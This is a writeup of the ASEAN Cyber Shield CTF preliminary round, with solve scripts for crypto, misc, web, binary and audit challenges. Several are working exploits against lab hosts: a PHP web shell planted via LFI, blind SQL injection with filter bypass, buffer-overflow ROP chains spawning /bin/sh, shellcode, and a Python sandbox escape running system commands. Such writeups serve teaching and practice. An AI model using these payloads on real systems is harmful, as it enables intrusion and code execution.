# ASEAN Cyber Shield Hacking Contest Preliminary Round - Writeup
## Crypto
### CommonRSA
Common modulus attack
script:
```python
from Crypto.Util.number import long_to_bytes
from sage.all import xgcd
with open("pubkey.txt", "r") as f:
n, e1, e2 = list(map(int, f.read().splitlines()))
with open("ciphertexts.txt", "r") as f:
c1, c2 = list(map(int, f.read().splitlines()))
g, a, b = xgcd(e1, e2) # extend euclid algorithm
c1 = pow(c1, a, n)
c2 = pow(c2, b, n)
print(long_to_bytes(c1*c2 % n))
```
### fiboCrypt
Key is the `0xC0FFEE`'th fibonacci. Sagemath alreally have a fast compute function for it
script:
```python
from sage.all import fibonacci
from hashlib import sha512
FLAG = b"ACS{??????????????????????????????????}"
def gen_key(k):
n = fib(k)
h = sha512(str(n).encode()).digest()
return h
def unpad(m):
return m[:len(FLAG)]
with open("output.txt", "r") as f:
ct = bytes.fromhex(f.read().strip())
def decrypt(c, key):
m = bytes([a ^ b for a, b in zip(c, key)])
m = unpad(m)
return m
k = 0xC0FFEE
fib = fibonacci
def gen_key(k):
n = fib(k)
print(n.nbits())
h = sha512(str(n).encode()).digest()
return h
key = gen_key(k)
pt = decrypt(ct, key)
print(pt)
```
### HomoRSA
Server will sign a message for us, but didn't check message smaller than `N`
script:
```python
from pwn import remote, process, args
from Crypto.Util.number import bytes_to_long, long_to_bytes
HOST = ""
PORT = 1111
ADMIN_MSG = b"There are two ways to annoy people. The first thing is to stop talking and"
if args.LOCAL:
io = process("./challenge.py")
else:
io = remote(HOST, PORT)
def rla(a):
io.recvuntil(a)
return io.recvline(0)
n = int(rla(b"Modulus: "), 16)
e = int(rla(b"Exponent: "), 16)
print(f"{n = }")
print(f"{e = }")
m = bytes_to_long(ADMIN_MSG)
m_sus = m + n
print(m.bit_length())
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"> ", long_to_bytes(m_sus).hex().encode())
sig = int(io.recvline(0).split(b": ")[-1], 16)
print(sig)
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"> ", hex(sig)[2:].encode())
io.interactive()
```
## Misc
### calccalccalc
Just replace the operator word with the symbol and than eval
script:
```python
from pwn import remote
from tqdm import trange
func = [
("plus", "+"),
("minus", "-"),
("multi", "*"),
("divide", "//"),
("mod", "%"),
("and", "&"),
("xor", "^"),
("or", "|"),
]
def translate(expr):
for key, value in func:
expr = expr.replace(key, value)
return expr
io = remote("192.168.0.45", 50000)
io.sendafter(b"Good Luck!\n", b"\n")
for i in trange(100):
expr = io.recvuntil(b" = ", drop=True).decode()
expr = translate(expr)
io.sendline(str(eval(expr)).encode())
io.interactive()
```
### imgimgimg
first, **binwalk** it and we can see it has another png file. Open it to get the password


Unzip the other zip file, we have 16 picture that combine into a QR Code picture

## Web
### EASY PHPINFO
This challenge is about LFI2RCE via php session upload progress, by input `?num=\n1` we can get the output of phpinfo page, save the value of session.save_path and then abusing lfi bug to include the session file
final script:
```python
import requests
import base64
import re
url = "http://192.168.0.45:20001"
def exploit():
headers = {
"Cookie": "PHPSESSID=acd"
}
data = {
"PHP_SESSION_UPLOAD_PROGRESS": "<?php echo system($_GET['cmd']); ?>" ,
}
files = {
"file": ("passwd", 'cccccccccccccccccc', "application/octet-stream"),
}
requests.post(url, headers=headers, data=data, files=files, verify=False, proxies={"http":"http://127.0.0.1:8080"})
response = requests.get(url + "/", params={"num": "\n1", "page": "/tmp/83031eb8-41ac-11ee-b1b3-009337b0183d/sess_acd", "cmd": "cat /flag"}, headers=headers, verify=False, proxies={"http":"http://127.0.0.1:8080"})
print(response.text)
if __name__ == "__main__":
exploit()
```
### Render board
There are two bugs in this challenge, sqli to get admin account and then rce via ejs rendering engine.
sqli in the check duplication account functionality:

script for getting column name of table `user`
```python
import requests
url = "http://192.168.0.45:22223"
def bypass(payload):
for p in payload:
if p in repl:
payload = payload.replace(p, repl[p])
if("or" in payload):
payload = payload.replace("or", "oliker")
if("and" in payload):
payload = payload.replace("and", "alikend")
if("substr" in payload):
payload = payload.replace("substr", "sublikestr")
return payload
### "%27/**/oliker/**/%281=0%29/**/oliker/**/%27"
repl = {"'": "%27",
" ": "/**/",
"(": "%28",
")": "%29",
"_": r"%5f",
".": "%2e"}
column = ""
for i in range(1, 30):
for j in range(32, 127):
payload = f"""' or IF((select ord(substr(column_name,{i},1)) from information_schema.columns where table_name='user' and table_schema=database() limit 2,1)={j},1,0) or 'a'='b"""
#print(payload)
payload = bypass(payload)
# print(payload)
data_json = {"username": payload}
r = requests.post(url + "/auth/check_duplicate", json=data_json, proxies={"http": "http://127.0.0.1:8080"})
if("false" in r.text):
column += chr(j)
print(column)
break
```
=> `userid` and `passwd`
Then change it a litle bit to find the passwd of admin user `acs_admin`
```python
userid = "acs_adm"
for i in range(1, 30):
for j in range(32, 127):
payload = f"""' or IF((select ord(substr(passwd,{i},1)) from user where is_admin=1 limit 0,1)={j},1,0) or 'a'='b"""
#print(payload)
payload = bypass(payload)
# print(payload)
data_json = {"username": payload}
r = requests.post(url + "/auth/check_duplicate", json=data_json)
if("false" in r.text):
column += chr(j)
print(column)
break
```
After that, login into admin account and then rce to get the flag

### Capture The Image
Xss steal secret value in bot cookie via `svg` tag with `onload` attribute and then capture the image with url `view-source:file:///flag`
get secret

screen the flag

flag

### Flask newbie
SSTI at `/{{config}}` to leak jwt secret key, then impersonate admin user `poppo` and exploit local file read at `/downloadifyoucan?filenameyoucandoit=...`

---
## Binary
### Spim
The Program will ask user to input a mips shellcode, shuffles opcodes and execute that shellcode with mixed opcodes:

Fortunately we're able to see mixed opcode so we can write a script to mix the opcode for our shell that can execute `execve` with argument `/bin/sh`:
```python
from pwn import *
r = process('./spimspim.sh')
shellcode = b"\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xf4\xff\xaf\xaf\x73\x68\x0f\x3c\x6e\x2f\xef\x35\xf8\xff\xaf\xaf\x26\x78\xef\x01\xfc\xff\xaf\xaf\x00\x00\x05\x24\x00\x00\x06\x24\xab\x0f\x02\x24\xf4\xff\xa4\x27\x0c\x00\x00\x00"
r.recvuntil(b'hexdump of op table: \n')
s = r.recvuntil(b'hexdump of register')
li = s.split(b'|')
op_table = b''
for i in li:
if b'\n' in i:
if b'hexdump' in i: continue
op_table += bytes.fromhex(i.split(b'\n')[1].decode())
else:
op_table += bytes.fromhex(i.decode())
print('op_table: ', op_table)
r.recvuntil(b'table: \n')
s = r.recvuntil(b'hexdump of funct')
li = s.split(b'|')
register_table = b''
for i in li:
if b'\n' in i:
if b'hexdump' in i: continue
register_table += bytes.fromhex(i.split(b'\n')[1].decode())
else:
register_table += bytes.fromhex(i.decode())
print('register_table: ', register_table)
r.recvuntil(b'table: \n')
funct_table = b''
for i in range(4):
x = r.recvuntil(b'|')[:-1]
if b'\n' in x:
if b'hexdump' in x: continue
funct_table += bytes.fromhex(x.split(b'\n')[1].decode())
else:
funct_table += bytes.fromhex(x.decode())
print('funct_table: ', funct_table)
# -- Shuffle opcode
i_opcode = [4, 5, 8, 9, 10, 11, 12, 13, 15, 35, 36, 37, 40, 41, 43, 48, 56]
j_opcode = [2, 3]
r_opcode = [0]
li_int = []
def find_id_op(val):
return op_table.index(bytes([val]))
def find_id_reg(val):
return register_table.index(bytes([val]))
def find_id_func(val):
return funct_table.index(bytes([val]))
def shuffle_iopcode(val):
binary_form = bin(val)[2:].rjust(32, '0')
opcode = bin(find_id_op(int(binary_form[:6], 2)))[2:].rjust(6, '0')
rs = bin(find_id_reg(int(binary_form[6:6+5], 2)))[2:].rjust(5, '0')
rt = bin(find_id_reg(int(binary_form[11:11+5], 2)))[2:].rjust(5, '0')
imm = binary_form[16:32]
return int(opcode + rs + rt + imm, 2)
def shuffle_ropcode(val):
binary_form = bin(val)[2:].rjust(32, '0')
opcode = bin(find_id_op(int(binary_form[:6], 2)))[2:].rjust(6, '0')
rs = bin(find_id_reg(int(binary_form[6:6+5], 2)))[2:].rjust(5, '0')
rt = bin(find_id_reg(int(binary_form[11:11+5], 2)))[2:].rjust(5, '0')
rd = bin(find_id_reg(int(binary_form[16:16+5], 2)))[2:].rjust(5, '0')
shamt = binary_form[21:21+5]
funct = bin(find_id_func(int(binary_form[26:26+6], 2)))[2:].rjust(6, '0')
return int(opcode + rs + rt + rd + shamt + funct, 2)
for i in range(0, len(shellcode), 4):
li_int.append(u32(shellcode[i:i+4]))
for i in range(len(li_int)):
binary_form = bin(li_int[i])[2:].rjust(32, '0')
print(binary_form)
opcode = int(binary_form[:6], 2)
print(hex(opcode))
if opcode in i_opcode:
li_int[i] = shuffle_iopcode(li_int[i])
elif opcode in r_opcode:
li_int[i] = shuffle_ropcode(li_int[i])
else:
print('lol')
exit(-1)
shellcode = b''
for i in range(len(li_int)):
shellcode += p32(li_int[i])
r.sendline(shellcode + b'\x00' * 4)
r.interactive()
# 0x3fdc1000: lui t7,0x6962
# 0x3fdc1004: ori t7,t7,0x2f2f
# 0x3fdc1008: sw t7,-12(sp)
# 0x3fdc100c: lui t7,0x6873
# 0x3fdc1010: ori t7,t7,0x2f6e
# 0x3fdc1014: sw t7,-8(sp)
# 0x3fdc1018: xor t7,t7,t7
# 0x3fdc101c: sw t7,-4(sp)
# 0x3fdc1020: li a1,0
# 0x3fdc1024: li a2,0
# 0x3fdc1028: li v0,4011
# 0x3fdc102c: addiu a0,sp,-12
# 0x3fdc1030: syscall
```
### Maze
The challenge will show a random maze each stage, and after successfully solve it (by reaching the final tile of the maze, which is at [0x1f, 0x1f]), the challenge will create a character for the flag.
Fast way to solve is to patch the program to win everytime the game starts -> the flag will appear after we finish every level
`ACS{3e88fc35ac5b6011b6e7e32afd9552666db7bb21d30e83859665ea5e2cae99bc_I7s_funny_M@ze_Gam3!_C0n9r@tu1ation$_On_C13ar!}`
### expr
This challenge will check our flag by spawning thread, and do a comparison check. By extracting every comparison, we can use z3 and some guess work to recover the flag.
```python
from z3 import *
arg1 = [BitVec(f"flag_{i}", 64) for i in range(0, 36)]
s = Solver()
def u32(x, id):
return (x[id + 3] << 24) + (x[id + 2] << 16) + (x[id + 1] << 8) + x[id + 0]
for i in range(32):
s.add(0 <= arg1[i], arg1[i] <= 0x100)
s.add(arg1[0] == ord('A'))
rax_3 = LShR(u32(arg1, 8), 5) & 0x3f
rax_7 = LShR(u32(arg1, 0x1c), 2) & 0x3f
s.add((((((rax_3 << 0xb) + 7) ^ LShR(rax_7, 4)) + (((rax_7 << 0xd) + 0x3d) ^ LShR(rax_3, 3))) & 0x3f) == 0x3f)
rax_3 = LShR(u32(arg1, 0x14), 0) & 0x7ff
rax_7 = LShR(u32(arg1, 0x1b), 2) & 0x7ff
s.add((((((rax_3 << 0xd) + 0x557) ^ LShR(rax_7, 2)) + (((rax_7 << 6) + 0x10c) ^ LShR(rax_3, 6))) & 0x7ff) == 0x79d)
rax_3 = LShR(u32(arg1, 0xc), 3) & 0x7fff
rax_7 = LShR(u32(arg1, 2), 4) & 0x7fff
s.add((((((rax_3 << 0xc) + 0xec6) ^ LShR(rax_7, 0xb)) + (((rax_7 << 1) + 0x7b9d) ^ LShR(rax_3, 3))) & 0x7fff) == 0x399a)
rax_3 = LShR(u32(arg1, 0x13), 2) & 0x3f
rax_7 = LShR(u32(arg1, 7), 4) & 0x3f
s.add((((((rax_3 << 7) + 0x27) ^ LShR(rax_7, 1)) + (((rax_7 << 1) + 0x39) ^ LShR(rax_3, 1))) & 0x3f) == 0x17)
rax_3 = LShR(u32(arg1, 0xf), 2) & 0x7ff
rax_7 = LShR(u32(arg1, 7), 2) & 0x7ff
s.add((((((rax_3 << 0xf) + 0x58f) ^ LShR(rax_7, 4)) + (((rax_7 << 1) + 0x383) ^ LShR(rax_3, 0xe))) & 0x7ff) == 0x16c)
rax_3 = LShR(u32(arg1, 0x13), 4) & 0x7fff
rax_7 = LShR(u32(arg1, 0xe), 7) & 0x7fff
s.add((((((rax_3 << 4) + 0x7482) ^ LShR(rax_7, 9)) + (((rax_7 << 0xc) + 0x7037) ^ LShR(rax_3, 0xf))) & 0x7fff) == 0x77f8)
rax_3 = LShR(u32(arg1, 2), 6) & 0x3fff
rax_7 = LShR(u32(arg1, 0x10), 7) & 0x3fff
s.add((((((rax_3 << 0xa) + 0x1575) ^ LShR(rax_7, 0xc)) + (((rax_7 << 0xc) + 0x2f62) ^ LShR(rax_3, 1))) & 0x3fff) == 0x70b)
rax_3 = LShR(u32(arg1, 0x10), 4) & 0x3f
rax_7 = LShR(u32(arg1, 0x10), 0) & 0x3f
s.add((((((rax_3 << 0xe) + 0x3b) ^ LShR(rax_7, 0xc)) + (((rax_7 << 3) + 0x33) ^ LShR(rax_3, 0xc))) & 0x3f) == 6)
rax_3 = LShR(u32(arg1, 0x1b), 6) & 0x7f
rax_7 = LShR(u32(arg1, 8), 2) & 0x7f
s.add((((((rax_3 << 5) + 0x35) ^ LShR(rax_7, 4)) + (((rax_7 << 0xd) + 0x65) ^ LShR(rax_3, 3))) & 0x7f) == 0x20)
rax_3 = LShR(u32(arg1, 0xf), 1) & 0x1fff
rax_7 = LShR(u32(arg1, 2), 0) & 0x1fff
s.add((((((rax_3 << 6) + 0x6f6) ^ LShR(rax_7, 4)) + (((rax_7 << 0xf) + 0x175b) ^ LShR(rax_3, 5))) & 0x1fff) == 0x41a)
rax_3 = LShR(u32(arg1, 0xa), 5) & 0x3fff
rax_7 = LShR(u32(arg1, 0x15), 1) & 0x3fff
s.add((((((rax_3 << 4) + 0x96f) ^ LShR(rax_7, 0xf)) + (((rax_7 << 0xf) + 0x7a5) ^ LShR(rax_3, 1))) & 0x3fff) == 0x3a87)
rax_3 = LShR(u32(arg1, 9), 0) & 0x3ff
rax_7 = LShR(u32(arg1, 0x12), 7) & 0x3ff
s.add((((((rax_3 << 2) + 0x370) ^ LShR(rax_7, 5)) + (((rax_7 << 0xf) + 0x186) ^ LShR(rax_3, 0xb))) & 0x3ff) == 0x2bd)
rax_3 = LShR(u32(arg1, 0x14), 6) & 0xfff
rax_7 = LShR(u32(arg1, 4), 1) & 0xfff
s.add((((((rax_3 << 0xc) + 0x537) ^ LShR(rax_7, 0xd)) + (((rax_7 << 5) + 0x774) ^ LShR(rax_3, 5))) & 0xfff) == 0x409)
rax_3 = LShR(u32(arg1, 0x12), 6) & 0xfff
rax_7 = LShR(u32(arg1, 0x11), 1) & 0xfff
s.add((((((rax_3 << 2) + 0xd0c) ^ LShR(rax_7, 0xa)) + (((rax_7 << 1) + 0xce6) ^ LShR(rax_3, 0xc))) & 0xfff) == 0x190)
rax_3 = LShR(u32(arg1, 0x12), 0) & 0x3ff
rax_7 = LShR(u32(arg1, 1), 7) & 0x3ff
s.add((((((rax_3 << 0xe) + 0x314) ^ LShR(rax_7, 0xf)) + (((rax_7 << 0xb) + 0x241) ^ LShR(rax_3, 4))) & 0x3ff) == 0x17a)
rax_3 = LShR(u32(arg1, 0x1b), 7) & 0x1ff
rax_7 = LShR(u32(arg1, 0x17), 0) & 0x1ff
s.add((((((rax_3 << 2) + 0x163) ^ LShR(rax_7, 0xe)) + (((rax_7 << 1) + 0x121) ^ LShR(rax_3, 0xd))) & 0x1ff) == 0xce)
rax_3 = LShR(u32(arg1, 0xc), 0) & 0xfff
rax_7 = LShR(u32(arg1, 0xa), 4) & 0xfff
s.add((((((rax_3 << 2) + 0x5f9) ^ LShR(rax_7, 0xa)) + (((rax_7 << 0xa) + 0xf9e) ^ LShR(rax_3, 0xc))) & 0xfff) == 0x2a7)
rax_3 = LShR(u32(arg1, 8), 3) & 0x3ff
rax_7 = LShR(u32(arg1, 0xd), 2) & 0x3ff
s.add((((((rax_3 << 5) + 0x3c) ^ LShR(rax_7, 8)) + (((rax_7 << 0xc) + 0x213) ^ LShR(rax_3, 1))) & 0x3ff) == 0x3ce)
rax_3 = LShR(u32(arg1, 0x11), 3) & 0x3f
rax_7 = LShR(u32(arg1, 0x1a), 3) & 0x3f
s.add((((((rax_3 << 3) + 0x20) ^ LShR(rax_7, 4)) + (((rax_7 << 8) + 0x2a) ^ LShR(rax_3, 7))) & 0x3f) == 4)
rax_3 = LShR(u32(arg1, 7), 1) & 0x7fff
rax_7 = LShR(u32(arg1, 1), 6) & 0x7fff
s.add((((((rax_3 << 0xa) + 0x3ab2) ^ LShR(rax_7, 8)) + (((rax_7 << 0xd) + 0x1c42) ^ LShR(rax_3, 3))) & 0x7fff) == 0x6220)
rax_3 = LShR(u32(arg1, 0xd), 0) & 0xfff
rax_7 = LShR(u32(arg1, 0x14), 0) & 0xfff
s.add((((((rax_3 << 0xa) + 0xbd1) ^ LShR(rax_7, 4)) + (((rax_7 << 6) + 0x9f6) ^ LShR(rax_3, 0xb))) & 0xfff) == 0x239)
rax_3 = LShR(u32(arg1, 2), 0) & 0x3f
rax_7 = LShR(u32(arg1, 0x1b), 3) & 0x3f
s.add((((((rax_3 << 8) + 0x16) ^ LShR(rax_7, 5)) + (((rax_7 << 1) + 0x1f) ^ LShR(rax_3, 3))) & 0x3f) == 0x3c)
rax_3 = LShR(u32(arg1, 1), 2) & 0x7f
rax_7 = LShR(u32(arg1, 0x17), 5) & 0x7f
s.add((((((rax_3 << 0xb) + 0x33) ^ LShR(rax_7, 8)) + (((rax_7 << 0xe) + 0xd) ^ LShR(rax_3, 8))) & 0x7f) == 0x40)
rax_3 = LShR(u32(arg1, 0x18), 2) & 0xfff
rax_7 = LShR(u32(arg1, 1), 0) & 0xfff
s.add((((((rax_3 << 5) + 0xf24) ^ LShR(rax_7, 8)) + (((rax_7 << 3) + 0xcf2) ^ LShR(rax_3, 4))) & 0xfff) == 0x7d9)
rax_3 = LShR(u32(arg1, 0x18), 7) & 0x7ff
rax_7 = LShR(u32(arg1, 0x15), 1) & 0x7ff
s.add((((((rax_3 << 5) + 0x7eb) ^ LShR(rax_7, 0xd)) + (((rax_7 << 4) + 0x789) ^ LShR(rax_3, 1))) & 0x7ff) == 0x3d2)
...
```
`ACS{y0u50lv3DtH33xpr35510N5!}`
### rustarm
A simple encryption algorithm, we can easily write a script to decrypt the flag
```python
x = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()-_=+'
key = 'ACSISACEANCYBERSECURITY'
enc = bytes.fromhex('2c171c245d43000e3a24202323472130092757002a2b15')
for i in range(23):
print(x[x.index(key[i]) ^ enc[i]], end = '')
```
`ACS{cR0s$_C0mpi1e_wi7h_Rust}`
### Register
It has 2 buffer overflow bugs. The first one can leak canary because printf does not stop at null byte. We will use the second bof to partial overwrite main's return address to <__libc_start_call_main+121>, which can return to main one more time, then leak libc address then rop.
```python
from pwn import *
p = remote('192.168.0.45', 19876)
# p = process('./register')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
payload = b'a'*0x29
p.sendafter(b'> ', payload)
p.recvuntil(b'a'*0x29)
canary = u64(b'\x00' + p.recv(7))
print(hex(canary))
payload = b'a'*0x28
payload += p64(canary)
payload += b'a'*8
payload += b'\x89'
gdb.attach(p, 'b*main+302')
p.sendafter(b'> ', payload)
payload = b'a'*0x38
p.sendafter(b'> ', payload)
p.recvuntil(b'a'*0x38)
libc.address = u64(p.recv(6) + b'\x00'*2) - 0x29d90
print(hex(libc.address))
pop_rdi = libc.address + 0x2a3e5
bin_sh = next(libc.search(b'/bin/sh'))
payload = b'a'*0x28
payload += p64(canary)
payload += b'a'*8
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(pop_rdi + 1)
payload += p64(libc.sym['system'])
p.sendafter(b'> ', payload)
p.interactive()
```
### Sig Me
Set signal to SIGALRM.
### Coding test
Use getdents syscall to get flag name. Then orw.
```python
from pwn import *
context.arch = "x86_64"
# sh = shellcraft.open("/home/ctf_user/flag_ed807a45f84463aac37414be73d5849c")
# sh += shellcraft.read(3, 'rsp', 0x100)
# sh += shellcraft.write(1, 'rsp', 'rax')
# print(asm(sh))
# p = process('./coding_test')
p = remote('192.168.0.45', 10137)
p.recv()
# gdb.attach(p)
# p.sendline(asm(sh))
# /home/ctf_user/flag_ed807a45f84463aac37414be73d5849c
p.sendline(asm('''
push 0
mov rbx, 0x0000000063393438
push rbx
mov rbx, 0x3564333765623431
push rbx
mov rbx, 0x3437336361613336
push rbx
mov rbx, 0x3434386635346137
push rbx
mov rbx, 0x303864655f67616c
push rbx
mov rbx, 0x662f726573755f66
push rbx
mov rbx, 0x74632f656d6f682f
push rbx
mov rdi, rsp
mov rax, 2
xor rsi, rsi
xor rdx, rdx
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
xor rax, rax
syscall
mov rdi, 1
mov rax, 1
syscall
'''))
print(p.recv(0x100))
# p.sendline(asm('''
# mov rbx, 0x002f726573755f66
# push rbx
# mov rbx, 0x74632f656d6f682f
# push rbx
# mov rdi, rsp
# xor rsi, rsi
# xor rdx, rdx
# mov rax, 2
# syscall
# mov rdi, rax
# mov rsi, rsp
# mov rdx, 0x200
# mov rax, 217
# syscall
# mov rdi, 1
# mov rax, 1
# mov rsi, rsp
# mov rdx, 0x100
# syscall
# '''))
p.interactive()
```
### Rendezvous
Bof in `block` command. Leak through `content`.
```python
from pwn import *
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
# p = process('./rendezvous')
# p = process('./rendezvous_patched')
p = remote('192.168.0.45', 60002)
script = '''
b*0x55555555787C
b*0x555555557EF7
b*0x555555558060
b*0x555555558609
b*0x5555555555C3
b*0x5555555556bc
d 2 3
c
'''
random_str = p.recvline()[:-1].decode()
# print(random_str)
# set pass
payload = b'\xef\xbb\xbf'
payload += f'{{"cmd":0, "pass":"{random_str}"}}'.encode()
p.sendline(payload)
payload = b'\xef\xbb\xbf'
key = '0,'*0x400 + '0'
payload += f'{{"cmd":1, "key":[{key}]}}'.encode()
p.sendline(payload)
payload = b'\xef\xbb\xbf'
block = '0,'*0x108 + '"a",'*0x100 + '"a"'
content = '0,'*0x150 + '0'
payload += f'{{"cmd":2, "block":[{block}], "content":[{content}]}}'.encode()
p.sendline(payload)
p.recvline()
p.recvline()
res = p.recvrepeat(0.5)
canary = u64(res[0x108:0x110])
print(hex(canary))
libc.address = u64(res[0x138:0x140]) - 0x29d90
print(hex(libc.address))
pop_rdi = libc.address + 0x2a3e5
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']
rop = b'a'*0x108
rop += p64(canary)
rop += b'a'*8
rop += p64(pop_rdi)
rop += p64(bin_sh)
rop += p64(pop_rdi + 1)
rop += p64(system - 16)
payload = b'\xef\xbb\xbf'
block = ''
for i in rop:
block += str(i) + ','
block += '0'
content = '0,'*0x150 + '0'
# gdb.attach(p, script)
payload += f'{{"cmd":2, "block":[{block}]}}'.encode()
print(payload)
p.sendline(payload)
p.interactive()
```
## Audit
### escape room
Server receive code from input and check blacklist then exec, but it didn't clean the global variables. So in `globals()` already have module "os", "sys", alse use `__dict__` to acess to the method in the object
solve.py:
```python
from pwn import remote, process, args
from Crypto.Util.number import bytes_to_long, long_to_bytes
HOST = "192.168.0.45"
PORT = 50137
ADMIN_MSG = b"There are two ways to annoy people. The first thing is to stop talking and"
io = remote(HOST, PORT)
src = open("src.py", "r").read() + "\nEOF\n"
io.sendafter(b"> ", src)
io.interactive()
```
src.py:
```python
lmao = globals()["o" + "s"]
print(lmao.__dict__["sy"+"stem"]("""`cd home && cd ctf_user && cat fla* | base64 | tr -d "\n"`"""))
```
### Key in haystack
If command is `ADMIN`, it will open the key file, and reads its content to the stack, but later when we use the `insert` function, the `size` is not initialized and will still hold the value of the `key`, so we can leak 3 bytes of the key (still need to send the first byte to read function). Then bruteforce one byte to get the correct key, insert shellcode then execute it.
```python
from pwn import *
p = process('./chall')
# p = remote('192.168.0.45', 5555)
# ip = b'127.0.0.1'
port = 9999
sc = b"\x48\x31\xD2\x48\x31\xF6\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x6A\x00\x53\x54\x5F\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05"
# gdb.attach(p, 'b*main+71')
sleep(2)
p.sendline(b'INSERT'.ljust(9, b'\x00'))
sleep(2)
p.send(p32(len(sc)))
sleep(2)
p.send(sc)
for i in range(0x40, 0x41):
# for i in range(0xff + 1):
p.sendline(b'ADMIN'.ljust(9, b'\x00'))
a = (0x4e6230 << 8) + i
print(p32(a))
p.send(p32(a))
p.interactive()
```